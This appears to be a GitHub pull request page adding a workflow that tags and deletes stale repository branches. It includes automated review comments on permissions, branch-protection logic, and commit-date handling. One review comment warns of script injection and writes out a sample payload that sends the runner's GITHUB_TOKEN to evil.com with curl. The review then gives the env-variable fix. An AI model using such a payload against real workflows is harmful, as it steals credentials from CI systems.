Conversation
Co-authored-by: sfmskywalker <938393+sfmskywalker@users.noreply.github.com>
There was a problem hiding this comment.
Pull request overview
Adds a manually-triggered GitHub Actions workflow to help reduce long-lived repository branch clutter by identifying stale branches, (optionally) tagging them for preservation, and deleting them.
Changes:
- Introduces a new
workflow_dispatchaction withdays_staleanddry_runinputs. - Implements branch enumeration + staleness detection, optional tag creation, and branch deletion via
actions/github-script.
| type: boolean | ||
|
|
||
| permissions: | ||
| contents: write |
There was a problem hiding this comment.
The workflow calls github.rest.pulls.list(...), but the workflow-level permissions only grants contents: write. When permissions is set explicitly, other scopes default to none, so the PR-listing API call will 403 unless you also grant pull-requests: read (or remove the explicit permissions block and rely on repo defaults).
| contents: write | |
| contents: write | |
| pull-requests: read |
| // Get all open PR head branches | ||
| console.log('Fetching open pull requests...'); | ||
| const openPrBranches = new Set(); | ||
| let prPage = 1; | ||
| while (true) { | ||
| const prs = await github.rest.pulls.list({ | ||
| owner, | ||
| repo, | ||
| state: 'open', | ||
| per_page: 100, | ||
| page: prPage, | ||
| }); | ||
| if (prs.data.length === 0) break; | ||
| for (const pr of prs.data) { | ||
| openPrBranches.add(pr.head.ref); | ||
| } | ||
| if (prs.data.length < 100) break; | ||
| prPage++; | ||
| } | ||
| console.log(`Found ${openPrBranches.size} branches with open pull requests.`); |
There was a problem hiding this comment.
The PR description says branches are excluded when there is an open PR targeting the branch, but the implementation only collects pr.head.ref (source branches). This can delete a branch that is the base (pr.base.ref) of an open PR. Consider also tracking base refs (or switching to base refs) to ensure branches that are PR targets are never deleted.
| // Create tag if it doesn't already exist | ||
| if (existingTags.has(name)) { | ||
| console.log(` Tag '${name}' already exists, skipping tag creation.`); | ||
| tagSkipped++; | ||
| } else { | ||
| try { | ||
| await github.rest.git.createRef({ | ||
| owner, | ||
| repo, | ||
| ref: `refs/tags/${name}`, | ||
| sha, | ||
| }); | ||
| console.log(` Created tag '${name}' at ${sha}.`); | ||
| existingTags.add(name); | ||
| tagged++; | ||
| } catch (e) { | ||
| console.log(` ERROR creating tag '${name}': ${e.message}`); | ||
| errors++; | ||
| continue; | ||
| } | ||
| } | ||
|
|
||
| // Delete the branch | ||
| try { | ||
| await github.rest.git.deleteRef({ | ||
| owner, | ||
| repo, | ||
| ref: `heads/${name}`, | ||
| }); | ||
| console.log(` Deleted branch '${name}'.`); | ||
| deleted++; |
There was a problem hiding this comment.
If a tag with the same name already exists, the workflow skips tag creation but still proceeds to delete the branch. If the existing tag does not point at the branch tip SHA, this can permanently lose commits. Consider verifying that the existing tag resolves to the same SHA before deleting, and if it differs either fail the run or create an alternate archive tag name.
| jobs: | ||
| cleanup: | ||
| name: Tag and delete stale branches | ||
| runs-on: ubuntu-latest | ||
| steps: | ||
| - name: Tag and delete stale branches | ||
| uses: actions/github-script@v7 |
There was a problem hiding this comment.
Because this is a destructive workflow_dispatch workflow, it can be executed from any branch that contains the workflow file (the runner UI allows selecting the ref). Consider adding a guard (e.g., job/step if:) that only allows execution when github.ref_name equals the repository default branch, to reduce the risk of running a modified cleanup workflow from a non-default ref.
Greptile SummaryThis PR adds a manually-triggered
Confidence Score: 2/5Not safe to merge — two P1 defects could cause live branch deletion of recently-active branches and expose the runner's GITHUB_TOKEN via script injection. The script-injection vulnerability (P1) and the author.date/committer.date confusion (P1) are both present defects: one is a current security anti-pattern that runs with contents:write credentials, and the other will silently delete branches that have had recent pushes via rebase or cherry-pick. Both need to be addressed before the workflow is run against the real repository. .github/workflows/cleanup-stale-branches.yml — the only changed file; both P1 issues are in the inline github-script block.
|
| Filename | Overview |
|---|---|
| .github/workflows/cleanup-stale-branches.yml | New manually-triggered workflow that tags and deletes stale branches; has a script injection vulnerability (P1) and uses author.date instead of committer.date (P1), which can cause recently-active branches to be erroneously deleted. |
Flowchart
%%{init: {'theme': 'neutral'}}%%
flowchart TD
A([workflow_dispatch\ndays_stale / dry_run]) --> B[Fetch open PR branches]
B --> C[Fetch all branches]
C --> D[Fetch existing tags]
D --> E{For each branch}
E --> F{Protected name?\nmain / master}
F -->|yes| SKIP[Skip branch]
E --> G{Protected prefix?\nrelease/ patch/}
G -->|yes| SKIP
E --> H{Has open PR?}
H -->|yes| SKIP
E --> I[Get tip commit\ngit.getCommit]
I --> J{committer.date\n< cutoff?}
J -->|no - recently active| SKIP
J -->|yes - stale| K[Add to staleBranches]
K --> L{dry_run?}
L -->|true| M[Log DRY RUN preview]
L -->|false| N{Tag already\nexists?}
N -->|yes| O[Skip tag creation]
N -->|no| P[git.createRef\nrefs/tags/name]
P -->|error| ERR[Log error / skip deletion]
P -->|ok| Q[git.deleteRef\nheads/name]
O --> Q
Q -->|error| ERR2[Log error]
Q -->|ok| R[Deleted]
ERR2 --> E
R --> E
M --> E
SKIP --> E
E -->|done| S[Print summary]
S --> T{errors > 0?}
T -->|yes| FAIL([core.setFailed])
T -->|no| PASS([Workflow success])
Reviews (1): Last reviewed commit: "feat: add GitHub Actions workflow to tag..." | Re-trigger Greptile
| const parsedDays = parseInt('${{ inputs.days_stale }}', 10); | ||
| const daysStale = isNaN(parsedDays) || parsedDays <= 0 ? 90 : parsedDays; | ||
| const dryRun = '${{ inputs.dry_run }}' === 'true'; |
There was a problem hiding this comment.
Script injection via direct input interpolation
${{ inputs.days_stale }} is template-expanded before the JavaScript is parsed, so a user with workflow_dispatch access (i.e., write permission) can inject arbitrary JS by supplying a value like '; require('child_process').execSync('curl https://evil.com/?t='+process.env.GITHUB_TOKEN); //. The safe pattern per GitHub's security hardening guide is to bind inputs to environment variables and read them from process.env.
| const parsedDays = parseInt('${{ inputs.days_stale }}', 10); | |
| const daysStale = isNaN(parsedDays) || parsedDays <= 0 ? 90 : parsedDays; | |
| const dryRun = '${{ inputs.dry_run }}' === 'true'; | |
| const parsedDays = parseInt(process.env.DAYS_STALE, 10); | |
| const daysStale = isNaN(parsedDays) || parsedDays <= 0 ? 90 : parsedDays; | |
| const dryRun = process.env.DRY_RUN === 'true'; |
Then add an env: block on the step:
env:
DAYS_STALE: ${{ inputs.days_stale }}
DRY_RUN: ${{ inputs.dry_run }}| repo, | ||
| commit_sha: sha, | ||
| }); | ||
| commitDate = new Date(commit.data.author.date); |
There was a problem hiding this comment.
author.date used instead of committer.date for staleness check
commit.data.author.date records when the commit was originally written, not when it was pushed to this branch. For rebased or cherry-picked commits the author date can be months or years older than the actual push date. A branch that was actively rebased or had commits cherry-picked onto it yesterday (all with old author dates) would be misidentified as stale and deleted. commit.data.committer.date reflects when the commit was applied and is the correct field for measuring branch activity.
| commitDate = new Date(commit.data.author.date); | |
| commitDate = new Date(commit.data.committer.date); |
| // Branch prefixes that should never be deleted | ||
| const protectedPrefixes = [ | ||
| 'release/', | ||
| 'patch/', | ||
| ]; |
There was a problem hiding this comment.
patch/ protection conflicts with stated cleanup targets
The PR description lists patch/* branches as among the stale branches targeted for deletion ("dozens of merged/abandoned copilot/*, feat/*, feature/*, and patch/* branches"), but the code unconditionally protects all patch/-prefixed branches. If the intent is to preserve only version-maintenance branches (patch/2.x, patch/3.x) while still cleaning up feature-style patch/fix-foo branches, a more specific guard (e.g., a regex for patch/\d) would be needed. If protecting all patch/* is intentional, the problem statement in the description should be updated.
Purpose
Adds a manually-triggered GitHub Actions workflow that preserves stale branches as tags before deleting them, cleaning up the ~87 dormant branches cluttering the repository.
Scope
Description
Problem
The repository has accumulated ~130 branches, with ~87 of them stale (no commits in 90+ days, no open PRs). These include old v1/v2 maintenance branches, retired codename branches (
blueberry,blackberry,raspberry), and dozens of merged/abandonedcopilot/*,feat/*,feature/*, andpatch/*branches.Solution
New workflow:
.github/workflows/cleanup-stale-branches.ymlLogic:
days_stale(default: 90) AND no open PR targeting the branchmain,master, and allrelease/*/patch/*prefixed branches unconditionally2.10.x)Inputs:
days_stale90dry_runtrueDefault to dry-run so the first trigger is always a safe preview.
Verification
Steps:
dry_run: true(default) — inspect the log output listing all branches that would be tagged and deleteddry_run: falseto execute; confirm tags created and branches removedExpected outcome:
Dry run lists ~87 stale branches. Live run creates a matching tag for each (where one doesn't already exist) and removes the branch. All protected branches (
main,release/*, open-PR branches) are untouched.Screenshots / Recordings (if applicable)
N/A
Commit Convention
feat:— new workflow, no existing behavior changedChecklist
💬 Send tasks to Copilot coding agent from Slack and Teams to turn conversations into code. Copilot posts an update in your thread when it's finished.